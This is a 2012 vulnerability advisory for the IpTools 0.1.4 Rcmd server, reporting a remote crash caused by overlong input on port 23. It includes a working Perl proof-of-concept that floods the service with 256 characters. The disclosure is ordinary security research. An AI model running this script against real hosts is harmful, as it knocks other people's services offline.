IpTools 0.1.4 Overflow

`Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability  
  
Software : IpTools(Tiny TCP/IP server)  
  
Software Version : 0.1.4  
  
Vendor: http://iptools.sourceforge.net/iptools.html  
  
Class: Boundary Condition Error   
  
CVE:  
  
Remote: Yes   
  
Local: No   
  
Published: 2012-01-07  
  
Updated:   
  
Impact : High  
  
Bug Description :  
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.  
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service  
flaw while sending more than 255 characters to it.  
  
POC:  
#-------------------------------------------------------------  
#!/usr/bin/perl -w  
#IpTools(0.1.4) - Rcmd Remote Crash PoC by [email protected]  
#-------------------------------------------------------------  
use IO::Socket;  
$remote_host = '127.0.0.1'; #victim ip as your wish  
$remote_port = 23; #rcmd default port number  
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,  
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";  
$sock->recv($content, 1000, 0);  
$count=0;  
while($count<=255){  
$sock->send("a", 0);  
$count++;  
}  
$sock->send("\r\n", 0);  
$sock->recv($content, 1000, 0);  
$sock->shutdown(2);  
exit(1);  
#-------------------------------------------------------------  
  
Credits : This vulnerability was discovered by [email protected]  
mail: [email protected] / [email protected]  
Pentester/Researcher  
Dark2S Security Team/PolyU.HK  
`